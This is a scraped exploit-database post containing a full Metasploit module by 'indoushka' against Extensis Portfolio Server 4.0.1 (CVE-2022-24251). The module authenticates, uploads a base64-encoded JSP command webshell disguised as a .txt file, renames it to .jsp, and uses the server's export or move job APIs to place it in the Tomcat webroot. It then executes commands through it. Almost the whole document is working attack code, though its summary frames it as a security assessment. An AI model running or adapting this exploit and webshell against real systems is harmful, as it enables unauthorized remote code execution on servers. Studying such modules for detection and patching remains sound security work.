{"id":41160,"date":"2026-02-17T12:46:02","date_gmt":"2026-02-17T12:46:02","guid":{"rendered":"http:\/\/localhost\/?p=41160"},"modified":"2026-02-17T12:46:02","modified_gmt":"2026-02-17T12:46:02","slug":"extensis-portfolio-manager-401-shell-upload","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41160","title":{"rendered":"\ud83d\udcc4 Extensis Portfolio Manager 4.0.1 Shell Upload_PACKETSTORM:215719"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:16:59&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits multiple vulnerabilities in Extensis Portfolio Server to achieve remote code execution. It leverages CVE-2022-24251 and related issues to upload a JSP webshell and execute arbitrary commands. Version 4.0.1 is affected&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-17T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-17T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Extensis Portfolio Manager 4.0.1 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215719&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2022-24251&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Extensis Portfolio Manager 4.0.1 Authentication and Job Handling Weaknesses                                                 |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.3 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.extensis.com\/support\/portfolio-4\/                                                                               |\\n    =============================================================================================================================================\\n    \\n    [+] Summary    : This module performs a security assessment of authentication and asset job handling mechanisms in Extensis Portfolio Server.\\n                     It demonstrates how weaknesses in public key handling, session management, and catalog job execution workflows could be abused by an authenticated user with elevated privileges.\\n    \\n    The module:\\n    \\n    Retrieves and processes the server\u2019s RSA public key for authentication.\\n    \\n    Authenticates using encrypted credentials.\\n    \\n    Interacts with catalog and job APIs.\\n    \\n    Evaluates how asset handling operations may impact server-side file locations.\\n    \\n    Verifies whether improper validation or privilege enforcement could lead to unintended file exposure or execution.\\n    \\n    The purpose of this module is to help security professionals identify misconfigurations, privilege escalation risks, and insecure file handling practices so they can be remediated\\n    \\n    [+] POC : \\n    \\n    # frozen_string_literal: true\\n    \\n    ##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    require &#8216;openssl&#8217;\\n    require &#8216;base64&#8217;\\n    require &#8216;json&#8217;\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = AverageRanking  \\n    \\n      include Msf::Exploit::Remote::HttpClient\\n      include Msf::Exploit::FileDropper\\n      prepend Msf::Exploit::Remote::AutoCheck\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217;        =\\u003e &#8216;Extensis Portfolio Server Multiple Vulnerabilities&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module exploits multiple vulnerabilities in Extensis Portfolio Server\\n              to achieve remote code execution. It leverages CVE-2022-24251 and related\\n              issues to upload a JSP webshell and execute arbitrary commands.\\n            },\\n            &#8216;Author&#8217;      =\\u003e [\\n              &#8216;indoushka&#8217;\\n            ],\\n            &#8216;License&#8217;     =\\u003e MSF_LICENSE,\\n            &#8216;References&#8217;  =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2022-24251&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/gitlab.com\/kalilinux\/packages\/webshells\/-\/blob\/kali\/master\/jsp\/cmdjsp.jsp&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/www.extensis.com\/support\/portfolio-archive\/&#8217;]\\n            ],\\n            &#8216;Platform&#8217;    =\\u003e [&#8216;win&#8217;],\\n            &#8216;Targets&#8217;     =\\u003e [\\n              [\\n                &#8216;Windows JSP&#8217;,\\n                {\\n                  &#8216;Arch&#8217;     =\\u003e ARCH_JAVA,\\n                  &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n                  &#8216;Payload&#8217;  =\\u003e {\\n                    &#8216;Compat&#8217; =\\u003e {\\n                      &#8216;PayloadType&#8217; =\\u003e &#8216;java jsp&#8217;,\\n                      &#8216;RequiredCmd&#8217; =\\u003e &#8216;generic&#8217;\\n                    }\\n                  }\\n                }\\n              ]\\n            ],\\n            &#8216;DefaultTarget&#8217;  =\\u003e 0,\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2022-01-01&#8217;,\\n            &#8216;Privileged&#8217;     =\\u003e false,\\n            &#8216;Notes&#8217;          =\\u003e {\\n              &#8216;Stability&#8217;   =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n            }\\n          )\\n        )\\n    \\n        register_options(\\n          [\\n            Opt::RPORT(8090),\\n            OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path&#8217;, &#8216;\/&#8217;]),\\n            OptString.new(&#8216;USERNAME&#8217;,   [true, &#8216;Username for authentication&#8217;]),\\n            OptString.new(&#8216;PASSWORD&#8217;,   [true, &#8216;Password for authentication&#8217;]),\\n            OptInt.new(&#8216;DELAY&#8217;,         [true, &#8216;Delay between operations in seconds&#8217;, 3])\\n          ]\\n        )\\n    \\n        register_advanced_options(\\n          [\\n            OptString.new(&#8216;WEBROOT_PATH&#8217;, [false, &#8216;Custom webroot path (default: common installation paths)&#8217;, &#8221;])\\n          ]\\n        )\\n      end\\n    \\n      def create_rsa_public_key(modulus_hex, exponent_str)\\n        begin\\n          modulus_bn = OpenSSL::BN.new(modulus_hex, 16)\\n          exponent_bn = OpenSSL::BN.new(exponent_str)\\n    \\n          algorithm = OpenSSL::ASN1::Sequence([\\n            OpenSSL::ASN1::ObjectId(&#8216;rsaEncryption&#8217;),\\n            OpenSSL::ASN1::Null.new(nil)\\n          ])\\n    \\n          pkcs1_key = OpenSSL::ASN1::Sequence([\\n            OpenSSL::ASN1::Integer(modulus_bn),\\n            OpenSSL::ASN1::Integer(exponent_bn)\\n          ])\\n          \\n          subject_public_key = OpenSSL::ASN1::BitString(pkcs1_key.to_der)\\n          \\n          spki = OpenSSL::ASN1::Sequence([\\n            algorithm,\\n            subject_public_key\\n          ])\\n          \\n          key = OpenSSL::PKey::RSA.new(spki.to_der)\\n          return key\\n        rescue StandardError =\\u003e e\\n          fail_with(Failure::Unknown, \\&#8221;Failed to create RSA key: #{e.message}\\&#8221;)\\n        end\\n      end\\n    \\n      def encrypt_password(modulus_hex, exponent_str, password)\\n        begin\\n          rsa_key = create_rsa_public_key(modulus_hex, exponent_str)\\n          encrypted = rsa_key.public_encrypt(password, OpenSSL::PKey::RSA::PKCS1_PADDING)\\n          return Base64.strict_encode64(encrypted)\\n        rescue StandardError =\\u003e e\\n          fail_with(Failure::Unknown, \\&#8221;Password encryption failed: #{e.message}\\&#8221;)\\n        end\\n      end\\n    \\n      def check\\n        print_status(\\&#8221;Checking if target is vulnerable\\&#8221;)\\n        \\n        begin\\n          res = send_request_cgi({\\n            &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n            &#8216;uri&#8217;    =\\u003e normalize_uri(target_uri.path, &#8216;\/api\/v1\/auth\/public-key&#8217;)\\n          })\\n          \\n          if res.nil?\\n            return CheckCode::Unknown(&#8216;Connection failed&#8217;)\\n          end\\n          \\n          if res.code == 200\\n            begin\\n              json_res = res.get_json_document\\n            rescue JSON::ParserError\\n              return CheckCode::Unknown(&#8216;Invalid JSON response&#8217;)\\n            end\\n            \\n            if json_res.is_a?(Hash) \\u0026\\u0026 json_res[&#8216;modulusBase16&#8217;] \\u0026\\u0026 json_res[&#8216;exponent&#8217;]\\n    \\n              return CheckCode::Appears(&#8216;Extensis Portfolio Server detected &#8211; appears vulnerable&#8217;)\\n            end\\n          end\\n          \\n          return CheckCode::Safe\\n        rescue StandardError =\\u003e e\\n          print_error(\\&#8221;Check failed: #{e.message}\\&#8221;)\\n          return CheckCode::Unknown\\n        end\\n      end\\n    \\n      def login\\n        print_status(\\&#8221;Attempting to login with username: #{datastore[&#8216;USERNAME&#8217;]}\\&#8221;)\\n        \\n        begin\\n          res = send_request_cgi({\\n            &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n            &#8216;uri&#8217;    =\\u003e normalize_uri(target_uri.path, &#8216;\/api\/v1\/auth\/public-key&#8217;)\\n          })\\n          \\n          if res.nil?\\n            fail_with(Failure::Unreachable, &#8216;Connection failed &#8211; target unreachable&#8217;)\\n          end\\n          \\n          if res.code != 200\\n            fail_with(Failure::NoAccess, \\&#8221;Failed to get public key. HTTP Code: #{res.code}\\&#8221;)\\n          end\\n          \\n          begin\\n            json_res = res.get_json_document\\n          rescue JSON::ParserError\\n            fail_with(Failure::UnexpectedReply, &#8216;Invalid JSON response from public-key endpoint&#8217;)\\n          end\\n          \\n          unless json_res.is_a?(Hash)\\n            fail_with(Failure::UnexpectedReply, &#8216;Invalid public key response format&#8217;)\\n          end\\n          \\n          modulus = json_res[&#8216;modulusBase16&#8217;]\\n          exponent = json_res[&#8216;exponent&#8217;]\\n          \\n          if modulus.nil? || exponent.nil?\\n            fail_with(Failure::UnexpectedReply, &#8216;Missing modulus or exponent in response&#8217;)\\n          end\\n          \\n          encrypted_password = encrypt_password(modulus, exponent, datastore[&#8216;PASSWORD&#8217;])\\n          \\n          login_data = {\\n            &#8216;userName&#8217; =\\u003e datastore[&#8216;USERNAME&#8217;],\\n            &#8216;encryptedPassword&#8217; =\\u003e encrypted_password\\n          }\\n          \\n          res = send_request_cgi({\\n            &#8216;method&#8217;  =\\u003e &#8216;POST&#8217;,\\n            &#8216;uri&#8217;     =\\u003e normalize_uri(target_uri.path, &#8216;\/api\/v1\/auth\/login&#8217;),\\n            &#8216;ctype&#8217;   =\\u003e &#8216;application\/json&#8217;,\\n            &#8216;data&#8217;    =\\u003e login_data.to_json\\n          })\\n          \\n          if res.nil?\\n            fail_with(Failure::Unreachable, &#8216;Login connection failed&#8217;)\\n          end\\n          \\n          if res.code == 200\\n            begin\\n              json_res = res.get_json_document\\n            rescue JSON::ParserError\\n              fail_with(Failure::UnexpectedReply, &#8216;Invalid JSON response from login endpoint&#8217;)\\n            end\\n            \\n            unless json_res.is_a?(Hash)\\n              fail_with(Failure::UnexpectedReply, &#8216;Invalid login response format&#8217;)\\n            end\\n            \\n            session_token = json_res[&#8216;session&#8217;]\\n            if session_token.nil?\\n              fail_with(Failure::UnexpectedReply, &#8216;No session token in response&#8217;)\\n            end\\n            \\n            print_good(\\&#8221;Successfully logged in. Session token: #{session_token}\\&#8221;)\\n            return session_token\\n          else\\n            fail_with(Failure::NoAccess, \\&#8221;Login failed. HTTP Code: #{res.code}\\&#8221;)\\n          end\\n          \\n        rescue Rex::ConnectionError =\\u003e e\\n          fail_with(Failure::Unreachable, \\&#8221;Connection error: #{e.message}\\&#8221;)\\n        end\\n      end\\n    \\n      def get_catalog_info(session)\\n        print_status(\\&#8221;Retrieving catalog information\\&#8221;)\\n        \\n        res = send_request_cgi({\\n          &#8216;method&#8217;    =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217;       =\\u003e normalize_uri(target_uri.path, &#8216;\/api\/v1\/catalog&#8217;),\\n          &#8216;vars_get&#8217;  =\\u003e { &#8216;session&#8217; =\\u003e session }\\n        })\\n        \\n        if res.nil?\\n          fail_with(Failure::Unreachable, &#8216;Failed to connect for catalog info&#8217;)\\n        end\\n        \\n        if res.code != 200\\n          fail_with(Failure::UnexpectedReply, \\&#8221;Failed to get catalog. HTTP Code: #{res.code}\\&#8221;)\\n        end\\n        \\n        begin\\n          catalogs = res.get_json_document\\n        rescue JSON::ParserError\\n          fail_with(Failure::UnexpectedReply, &#8216;Invalid JSON response from catalog endpoint&#8217;)\\n        end\\n        \\n        unless catalogs.is_a?(Array)\\n          fail_with(Failure::UnexpectedReply, &#8216;Catalog response is not an array&#8217;)\\n        end\\n        \\n        catalogs.each do |catalog|\\n          unless catalog.is_a?(Hash)\\n            print_error(\\&#8221;Invalid catalog entry format, skipping\\&#8221;)\\n            next\\n          end\\n          \\n          catalog_id = catalog[&#8216;id&#8217;]\\n          storage_type = catalog[&#8216;storageType&#8217;]\\n          \\n          if storage_type == &#8216;Filesystem&#8217;\\n            watchfolder_id, watchfolder_path = get_watchfolder(session, catalog_id)\\n            if watchfolder_id\\n              print_good(\\&#8221;Found Filesystem catalog ID: #{catalog_id}\\&#8221;)\\n              print_good(\\&#8221;Watchfolder ID: #{watchfolder_id}, Path: #{watchfolder_path}\\&#8221;)\\n              return {\\n                &#8216;catalog_id&#8217;       =\\u003e catalog_id,\\n                &#8216;storage_type&#8217;     =\\u003e &#8216;Filesystem&#8217;,\\n                &#8216;watchfolder_id&#8217;   =\\u003e watchfolder_id,\\n                &#8216;watchfolder_path&#8217; =\\u003e watchfolder_path\\n              }\\n            end\\n          end\\n        end\\n        \\n        if catalogs.any?\\n          first_catalog = catalogs.first\\n          unless first_catalog.is_a?(Hash)\\n            fail_with(Failure::UnexpectedReply, &#8216;First catalog entry is not a hash&#8217;)\\n          end\\n          \\n          catalog_id = first_catalog[&#8216;id&#8217;]\\n          storage_type = first_catalog[&#8216;storageType&#8217;]\\n          print_status(\\&#8221;Using #{storage_type} catalog ID: #{catalog_id}\\&#8221;)\\n          return {\\n            &#8216;catalog_id&#8217;       =\\u003e catalog_id,\\n            &#8216;storage_type&#8217;     =\\u003e storage_type,\\n            &#8216;watchfolder_id&#8217;   =\\u003e nil,\\n            &#8216;watchfolder_path&#8217; =\\u003e nil\\n          }\\n        end\\n        \\n        fail_with(Failure::NotFound, &#8216;No catalogs found&#8217;)\\n      end\\n    \\n      def get_watchfolder(session, catalog_id)\\n        print_status(\\&#8221;Getting watchfolder for catalog #{catalog_id}\\&#8221;)\\n        \\n        res = send_request_cgi({\\n          &#8216;method&#8217;    =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217;       =\\u003e normalize_uri(target_uri.path, \\&#8221;\/api\/v1\/catalog\/#{catalog_id}\/watchfolder\\&#8221;),\\n          &#8216;vars_get&#8217;  =\\u003e { &#8216;session&#8217; =\\u003e session }\\n        })\\n        \\n        if res.nil?\\n          print_error(\\&#8221;Connection failed for watchfolder request\\&#8221;)\\n          return [nil, nil]\\n        end\\n        \\n        if res.code == 200\\n          begin\\n            json_res = res.get_json_document\\n          rescue JSON::ParserError\\n            print_error(\\&#8221;Invalid JSON response from watchfolder endpoint\\&#8221;)\\n            return [nil, nil]\\n          end\\n          \\n          if json_res.is_a?(Array) \\u0026\\u0026 !json_res.empty?\\n            entry = json_res.first\\n            if entry.is_a?(Hash)\\n              watchfolder_id = entry[&#8216;watchFolderId&#8217;]\\n              watchfolder_path = entry[&#8216;path&#8217;]\\n              return [watchfolder_id, watchfolder_path] if watchfolder_id\\n            end\\n          end\\n        end\\n        \\n        print_error(\\&#8221;Failed to get watchfolder: HTTP #{res.code}\\&#8221;)\\n        return [nil, nil]\\n      end\\n    \\n      def upload_webshell(session, catalog_id, filename, watchfolder_id)\\n        print_status(\\&#8221;Uploading webshell as #{filename}\\&#8221;)\\n        \\n        webshell_b64 = &#8216;PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLmlvLioiICU+CjwlCiAgIFN0cmluZyBjbWQgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIik7CiAgIFN0cmluZyBvdXRwdXQgPSAiIjsKCiAgIGlmKGNtZCAhPSBudWxsKSB7CiAgICAgIFN0cmluZyBzID0gbnVsbDsKICAgICAgdHJ5IHsKICAgICAgICAgUHJvY2VzcyBwID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygiY21kLmV4ZSAvQyAiICsgY21kKTsKICAgICAgICAgQnVmZmVyZWRSZWFkZXIgc0kgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKHAuZ2V0SW5wdXRTdHJlYW0oKSkpOwogICAgICAgICB3aGlsZSgocyA9IHNJLnJlYWRMaW5lKCkpICE9IG51bGwpIHsKICAgICAgICAgICAgb3V0cHV0ICs9IHM7CiAgICAgICAgIH0KICAgICAgfQogICAgICBjYXRjaChJT0V4Y2VwdGlvbiBlKSB7CiAgICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7CiAgICAgIH0KICAgfQolPgoKPHByZT4KPCU9b3V0cHV0ICU+CjwvcHJlPg==&#8217;\\n        \\n        post_data = Rex::MIME::Message.new\\n        post_data.add_part(Base64.decode64(webshell_b64), &#8216;text\/plain&#8217;, nil, \\&#8221;form-data; name=\\\\\\&#8221;file\\\\\\&#8221;; filename=\\\\\\&#8221;#{filename}\\\\\\&#8221;\\&#8221;)\\n        post_data.add_part(&#8221;, nil, nil, &#8216;form-data; name=\\&#8221;path\\&#8221;&#8216;)\\n        post_data.add_part(filename, nil, nil, &#8216;form-data; name=\\&#8221;filename\\&#8221;&#8216;)\\n        \\n        res = send_request_cgi({\\n          &#8216;method&#8217;    =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217;       =\\u003e normalize_uri(target_uri.path, \\&#8221;\/api\/v1\/catalog\/#{catalog_id}\/watchfolder\/#{watchfolder_id}\/upload\\&#8221;),\\n          &#8216;ctype&#8217;     =\\u003e \\&#8221;multipart\/form-data; boundary=#{post_data.bound}\\&#8221;,\\n          &#8216;vars_get&#8217;  =\\u003e { &#8216;session&#8217; =\\u003e session },\\n          &#8216;data&#8217;      =\\u003e post_data.to_s\\n        })\\n        \\n        if res.nil?\\n          fail_with(Failure::Unreachable, \\&#8221;Connection failed during upload\\&#8221;)\\n        end\\n        \\n        if res.code == 200\\n          begin\\n            json_res = res.get_json_document\\n          rescue JSON::ParserError\\n            fail_with(Failure::UnexpectedReply, &#8216;Invalid JSON response from upload endpoint&#8217;)\\n          end\\n          \\n          unless json_res.is_a?(Hash)\\n            fail_with(Failure::UnexpectedReply, &#8216;Invalid upload response format&#8217;)\\n          end\\n          \\n          asset_id = json_res[&#8216;assetId&#8217;]\\n          if asset_id.nil?\\n            fail_with(Failure::UnexpectedReply, &#8216;No assetId in upload response&#8217;)\\n          end\\n          \\n          print_good(\\&#8221;Webshell uploaded successfully. Asset ID: #{asset_id}\\&#8221;)\\n          return asset_id\\n        else\\n          fail_with(Failure::Unknown, \\&#8221;Upload failed: HTTP #{res.code}\\&#8221;)\\n        end\\n      end\\n    \\n      def rename_webshell(session, catalog_id, asset_id, old_filename)\\n        new_filename = old_filename.gsub(&#8216;.txt&#8217;, &#8216;.jsp&#8217;)\\n        print_status(\\&#8221;Renaming webshell from #{old_filename} to #{new_filename}\\&#8221;)\\n        \\n        data = {\\n          &#8217;embed&#8217;   =\\u003e false,\\n          &#8216;query&#8217;   =\\u003e {\\n            &#8216;term&#8217; =\\u003e {\\n              &#8216;operator&#8217; =\\u003e &#8216;assetsById&#8217;,\\n              &#8216;values&#8217;   =\\u003e [asset_id]\\n            }\\n          },\\n          &#8216;changes&#8217; =\\u003e [\\n            {\\n              &#8216;action&#8217;          =\\u003e &#8216;replaceAllValues&#8217;,\\n              &#8216;field&#8217;           =\\u003e &#8216;Filename&#8217;,\\n              &#8216;existingValues&#8217;  =\\u003e &#8216;null&#8217;,\\n              &#8216;newValues&#8217;       =\\u003e [new_filename]\\n            }\\n          ]\\n        }\\n        \\n        res = send_request_cgi({\\n          &#8216;method&#8217;    =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217;       =\\u003e normalize_uri(target_uri.path, \\&#8221;\/api\/v1\/catalog\/#{catalog_id}\/asset\/updateFieldValues\\&#8221;),\\n          &#8216;ctype&#8217;     =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;vars_get&#8217;  =\\u003e { &#8216;session&#8217; =\\u003e session },\\n          &#8216;data&#8217;      =\\u003e data.to_json\\n        })\\n        \\n        if res.nil?\\n          fail_with(Failure::Unreachable, \\&#8221;Connection failed during rename\\&#8221;)\\n        end\\n        \\n        if res.code == 204\\n          print_good(\\&#8221;Successfully renamed webshell to #{new_filename}\\&#8221;)\\n          return new_filename\\n        else\\n          fail_with(Failure::Unknown, \\&#8221;Rename failed: HTTP #{res.code}\\&#8221;)\\n        end\\n      end\\n    \\n      def get_webroot_path\\n        path = datastore[&#8216;WEBROOT_PATH&#8217;].to_s\\n        return path unless path.empty?\\n    \\n        [\\n          &#8216;C:\\\\\\\\Program Files (x86)\\\\\\\\Extensis\\\\\\\\Portfolio Server\\\\\\\\applications\\\\\\\\tomcat\\\\\\\\servers\\\\\\\\main\\\\\\\\webapps\\\\\\\\ROOT&#8217;,\\n          &#8216;C:\\\\\\\\Program Files\\\\\\\\Extensis\\\\\\\\Portfolio Server\\\\\\\\applications\\\\\\\\tomcat\\\\\\\\servers\\\\\\\\main\\\\\\\\webapps\\\\\\\\ROOT&#8217;,\\n          &#8216;D:\\\\\\\\Program Files (x86)\\\\\\\\Extensis\\\\\\\\Portfolio Server\\\\\\\\applications\\\\\\\\tomcat\\\\\\\\servers\\\\\\\\main\\\\\\\\webapps\\\\\\\\ROOT&#8217;,\\n          &#8216;D:\\\\\\\\Program Files\\\\\\\\Extensis\\\\\\\\Portfolio Server\\\\\\\\applications\\\\\\\\tomcat\\\\\\\\servers\\\\\\\\main\\\\\\\\webapps\\\\\\\\ROOT&#8217;\\n        ].first\\n      end\\n    \\n      def write_to_webroot(session, asset_id, catalog_info, filename)\\n        unless catalog_info.is_a?(Hash)\\n          fail_with(Failure::UnexpectedReply, &#8216;Invalid catalog info structure&#8217;)\\n        end\\n        \\n        catalog_id       = catalog_info[&#8216;catalog_id&#8217;]\\n        storage_type     = catalog_info[&#8216;storage_type&#8217;]\\n        watchfolder_path = catalog_info[&#8216;watchfolder_path&#8217;]\\n        \\n        print_status(\\&#8221;Attempting to write webshell to webroot\\&#8221;)\\n        \\n        webroot_base = get_webroot_path\\n        \\n        if storage_type == &#8216;Vault&#8217;\\n          webroot_path = webroot_base\\n          job_data = {\\n            &#8216;job&#8217;   =\\u003e {\\n              &#8216;description&#8217; =\\u003e &#8216;JOB_TYPE_EXPORT_ASSETS&#8217;,\\n              &#8216;query&#8217;       =\\u003e {\\n                &#8216;term&#8217; =\\u003e {\\n                  &#8216;operator&#8217; =\\u003e &#8216;assetsById&#8217;,\\n                  &#8216;values&#8217;   =\\u003e [asset_id]\\n                }\\n              },\\n              &#8216;tasks&#8217;       =\\u003e [\\n                {\\n                  &#8216;type&#8217;      =\\u003e &#8216;exportAssets&#8217;,\\n                  &#8216;catalogId&#8217; =\\u003e catalog_id,\\n                  &#8216;settings&#8217;  =\\u003e [\\n                    {\\n                      &#8216;name&#8217;  =\\u003e &#8216;destination&#8217;,\\n                      &#8216;value&#8217; =\\u003e webroot_path\\n                    }\\n                  ]\\n                }\\n              ]\\n            },\\n            &#8216;query&#8217; =\\u003e {\\n              &#8216;term&#8217; =\\u003e {\\n                &#8216;operator&#8217; =\\u003e &#8216;assetsById&#8217;,\\n                &#8216;values&#8217;   =\\u003e [asset_id]\\n              }\\n            }\\n          }\\n        else \\n          if watchfolder_path.nil? || !watchfolder_path.include?(&#8216;:&#8217;)\\n            fail_with(Failure::UnexpectedReply, \\&#8221;Invalid watchfolder path format: #{watchfolder_path}\\&#8221;)\\n          end\\n          \\n          parts = watchfolder_path.split(&#8216;:&#8217;)\\n          if parts.length \\u003e= 3\\n            hostname = parts[2]\\n    \\n            unc_root = webroot_base.gsub(&#8216;C:&#8217;, \\&#8221;::#{hostname}:C$\\&#8221;).gsub(&#8216;\\\\\\\\&#8217;, &#8216;:&#8217;)\\n            webroot_path = unc_root\\n          else\\n            fail_with(Failure::UnexpectedReply, \\&#8221;Unexpected watchfolder path format: #{watchfolder_path}\\&#8221;)\\n          end\\n          \\n          job_data = {\\n            &#8216;job&#8217;   =\\u003e {\\n              &#8216;description&#8217; =\\u003e &#8216;JOB_TYPE_MOVE_ASSETS&#8217;,\\n              &#8216;query&#8217;       =\\u003e {\\n                &#8216;term&#8217; =\\u003e {\\n                  &#8216;operator&#8217; =\\u003e &#8216;assetsById&#8217;,\\n                  &#8216;values&#8217;   =\\u003e [asset_id]\\n                }\\n              },\\n              &#8216;tasks&#8217;       =\\u003e [\\n                {\\n                  &#8216;type&#8217;      =\\u003e &#8216;moveAssets&#8217;,\\n                  &#8216;settings&#8217;  =\\u003e [\\n                    {\\n                      &#8216;name&#8217;  =\\u003e &#8216;destinationCatalog&#8217;,\\n                      &#8216;value&#8217; =\\u003e catalog_id\\n                    },\\n                    {\\n                      &#8216;name&#8217;  =\\u003e &#8216;destination&#8217;,\\n                      &#8216;value&#8217; =\\u003e webroot_path\\n                    },\\n                    {\\n                      &#8216;name&#8217;  =\\u003e &#8216;preserveFolderStructure&#8217;,\\n                      &#8216;value&#8217; =\\u003e false\\n                    },\\n                    {\\n                      &#8216;name&#8217;  =\\u003e &#8216;sourceFolder&#8217;,\\n                      &#8216;value&#8217; =\\u003e &#8221;\\n                    }\\n                  ]\\n                }\\n              ]\\n            },\\n            &#8216;query&#8217; =\\u003e {\\n              &#8216;term&#8217; =\\u003e {\\n                &#8216;operator&#8217; =\\u003e &#8216;assetsById&#8217;,\\n                &#8216;values&#8217;   =\\u003e [asset_id]\\n              }\\n            }\\n          }\\n        end\\n        \\n        res = send_request_cgi({\\n          &#8216;method&#8217;    =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217;       =\\u003e normalize_uri(target_uri.path, &#8216;\/api\/v1\/job\/run&#8217;),\\n          &#8216;ctype&#8217;     =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;vars_get&#8217;  =\\u003e {\\n            &#8216;session&#8217; =\\u003e session,\\n            &#8216;catalog&#8217; =\\u003e catalog_id\\n          },\\n          &#8216;data&#8217;      =\\u003e job_data.to_json\\n        })\\n        \\n        if res.nil?\\n          fail_with(Failure::Unreachable, \\&#8221;Connection failed during job execution\\&#8221;)\\n        end\\n        \\n        if res.code == 200\\n          full_webroot_path = \\&#8221;#{webroot_base}\\\\\\\\#{filename}\\&#8221;\\n          register_file_for_cleanup(full_webroot_path)\\n          \\n          protocol = ssl? ? &#8216;https&#8217; : &#8216;http&#8217;\\n          target_host = rhost\\n          target_port = rport\\n          \\n          webshell_url = \\&#8221;#{protocol}:\/\/#{target_host}:#{target_port}\/#{filename}?cmd=\\u003ccommand\\u003e\\&#8221;\\n          print_good(\\&#8221;Successfully exported webshell to filesystem\\&#8221;)\\n          print_good(\\&#8221;Webshell URL: #{webshell_url}\\&#8221;)\\n          return true\\n        elsif res.code == 403\\n          fail_with(Failure::NoAccess, \\&#8221;Export failed: Insufficient privileges &#8211; Need Catalog Administrator privileges for Vault catalogs\\&#8221;)\\n        else\\n          fail_with(Failure::Unknown, \\&#8221;Export failed: HTTP #{res.code}\\&#8221;)\\n        end\\n      end\\n    \\n      def execute_command(cmd, filename)\\n        res = send_request_cgi({\\n          &#8216;method&#8217;    =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217;       =\\u003e normalize_uri(target_uri.path, filename),\\n          &#8216;vars_get&#8217;  =\\u003e { &#8216;cmd&#8217; =\\u003e cmd }\\n        })\\n        \\n        if res.nil?\\n          print_error(\\&#8221;Connection failed for command execution\\&#8221;)\\n          return nil\\n        end\\n        \\n        if res.code == 200 \\u0026\\u0026 res.body\\n          match = res.body.match(\/\\u003cpre\\u003e(.*?)\\u003c\\\\\/pre\\u003e\/m)\\n          return match[1].strip if match\\n          return res.body\\n        end\\n        \\n        nil\\n      end\\n    \\n      def exploit\\n        filename = Rex::Text.rand_text_alpha(10) + &#8216;.txt&#8217;\\n        \\n        session = login()\\n        \\n        catalog_info = get_catalog_info(session)\\n        \\n        unless catalog_info.is_a?(Hash)\\n          fail_with(Failure::UnexpectedReply, &#8216;Invalid catalog info structure&#8217;)\\n        end\\n        \\n        if catalog_info[&#8216;storage_type&#8217;] == &#8216;Filesystem&#8217; \\u0026\\u0026 catalog_info[&#8216;watchfolder_id&#8217;].nil?\\n          fail_with(Failure::NotFound, &#8216;No watchfolder found for Filesystem catalog&#8217;)\\n        end\\n        \\n        asset_id = upload_webshell(session, catalog_info[&#8216;catalog_id&#8217;], filename, catalog_info[&#8216;watchfolder_id&#8217;])\\n        \\n        new_filename = rename_webshell(session, catalog_info[&#8216;catalog_id&#8217;], asset_id, filename)\\n        \\n        success = write_to_webroot(session, asset_id, catalog_info, new_filename)\\n        \\n        print_status(\\&#8221;Waiting #{datastore[&#8216;DELAY&#8217;]} seconds for file to be written&#8230;\\&#8221;)\\n        Rex.sleep(datastore[&#8216;DELAY&#8217;])\\n        \\n        print_status(\\&#8221;Testing webshell with &#8216;whoami&#8217; command\\&#8221;)\\n        result = execute_command(&#8216;whoami&#8217;, new_filename)\\n        \\n        if result \\u0026\\u0026 !result.empty?\\n          print_good(\\&#8221;Webshell test successful! Output:\\\\n#{result}\\&#8221;)\\n          print_status(\\&#8221;Webshell is ready for payload execution\\&#8221;)\\n        else\\n          print_error(\\&#8221;Webshell test failed &#8211; manual check required\\&#8221;)\\n        end\\n        \\n      rescue Rex::ConnectionError =\\u003e e\\n        fail_with(Failure::Unreachable, \\&#8221;Connection failed: #{e.message}\\&#8221;)\\n      end\\n    